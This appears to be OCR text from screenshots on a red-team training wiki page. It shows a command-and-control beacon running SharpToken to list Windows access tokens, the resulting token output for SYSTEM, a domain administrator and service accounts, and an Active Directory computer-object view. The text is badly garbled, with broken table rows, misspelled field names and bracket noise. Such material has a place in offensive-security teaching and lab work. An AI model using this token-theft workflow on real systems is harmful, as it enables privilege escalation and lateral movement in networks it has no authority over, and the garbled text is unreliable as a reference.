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BR Administrator: Command Prompt - powershell — O w0

indows\Tasks» tasklist.exe /v
Image Name PID Session Name ion# Mem Usage Status User Name
CPU Time Window Title
Unknown NT AUTHORIT
Unknown M/
K Unknown NT AUTHORIT
{ Unknown NT AUTHORITY
Unknown
K Running NS A
wininit.exe 6, Unknown NT AUTHORITY
winlogon.exe ( ] 1 K Unknown NT AUTHOR
K Unknown NT AUTHOR
K Unknown NT AUTHOR

K Unknown NT AUTHOR

fontdrvhost.exe ] 0,196 K Unknown

fontdrvhost . exe i S 4,116 K Unknown
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[TITITIT] SharpTkerd/github.com/BeichenDream/SharpToken) [TTTTTIIIIITIIIIIIT SYSTEM [TTT1T]

beacon> execute-assembly sharptoken.exe list_ token

[*] Tasked beacon to run .NET program: sharptoken.exe list token
[+]1 host called home, sent: 149567 bytes

[+] received output:

FieldName: SID Value: S-1-5-18

FieldName: LogonDomain Value: WHITE-BIRD

FieldName: UserName Value: NT AUTHORITY\SYSTEM

FieldName: Session Value: 0

FieldName: LogonType Value: UndefinedLogonType

FieldName: TokenType Value: TokenPrimary

FieldName: TokenHandle Value: 908

FieldName: TargetProcessId Value: 748

FieldName: TargetProcessToken Value: @

FieldName: ImpersonationLevel Value: Delegation

FieldName: AuthenticationType Value: Negotiate

FieldName: TargetProcessExePath Value: C:\Windows‘\System32\winlogon.exe
FieldName: TokenElevationType Value: TokenElevationTypeDefault
FieldMame: IntegrityLevel Value: SystemIntegrity

FieldMame: IsRestricted Value: False

FieldMame: TokenUIAccess Value: False

FieldName: Groups Value: BUILTIN\Administrators,Everyone,NT AUTHORITY\Authenticated Users
FieldName: IsClose Value: False

FieldName: SID Value: S-1-5-21-2387957962-993181570-3566323574- 1604
FieldName: LogonDomain Value: WHITE-BIRD

FieldName: UserName Value: WHITE-BIRD\serveradm

FieldMame: Session Value: 1

FieldName: LogonType Value: Interactive

FieldName: TokenType Value: TokenPrimary

FieldName: TokenHandle Value: 944

FieldMName: TargetProcessId Value: 748

FieldName: TargetProcessToken Value: 944

(11T runas [sql_service [TTTTTTTIT]

FieldName: Value: S-1-5-19

FieldName: LogonDomain Value: NT AUTHORITY

FieldName: UserName Value: NT AUTHORITY\LOCAL SERVICE

FieldName: Session Value: 0

FieldName: LogonType Value: Service

FieldName: TokenType Value: TokenPrimary

FieldName: TokenHandle Value: 992

FieldName: TargetProcessId Value: 1084

FieldName: TargetProcessToken Value: O

FieldName: ImpersonationLevel Value: Delegation

FieldName: AuthenticationType Value: Negotiate

FieldName: TargetProcessExePath Value: C:\Windows\System32\svchost.exe

FieldName: TokenElevationType Value: TokenElevationTypeDefault

FieldName: Integritylevel Value: SystemIntegrity

FieldName: IsRestricted Value: False

FieldName: TokenUIAccess Value: False

FieldName: Groups Value: Everyone,BUILTIN\Users,NT AUTHORITY\SERVICE, CONSOLE LOGON,NT AUTHORITY\Authenticated Users,NT AUTHORITY\This Organization,NT
SERVICEYBthAvctpSvc, NT SERVICE\bthserv,NT SERVICE\CaptureService,NT SERVICE\CDPSvc,NT SERVICE\EventSystem,NT SERVICE\fdPHost,NT SERVICE\FontCache, NT
SERVICE\LicenseManager, NT SERVICE\lltdsvc,NT SERVICE\netprofm,NT SERVICE\nsi,NT SERVICE\PhoneSvc,NT SERVICE\RemoteRegistry,NT SERVICE\SstpSvc,NT
SERVICE\tzautoupdate, NT SERVICE\WdiServiceHost, LOCAL

FieldName: IsClose Value: False
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See Computer within Domain/OU Tree

Object 5-1-5-21-1674258736-4167122442 1078531953104 4,

D

0s Windows Server 2019 Datacenter Evaluation

Enabled True

Allows False

Unconst

rained

Delegati

: 2
LAPS False JOHN@PROD.RAVEN-MED.LOCAL
Enabled

Passwor Tue, 28 Mar 2023 02:15:09 GMT

d Las

M hanon -

fileO1 [T11Tjohn [1T]

BN Command Prompt

Revision #4
Created 5 September 2022 03:04:18 by 111
Updated 31 March 2023 02:10:44 by [TTJ


https://raven-medicine.com/uploads/images/gallery/2023-03/opeiSU5maccbw42l-image.png
https://raven-medicine.com/uploads/images/gallery/2023-03/CVnn6qEZrE4fLUFJ-image.png

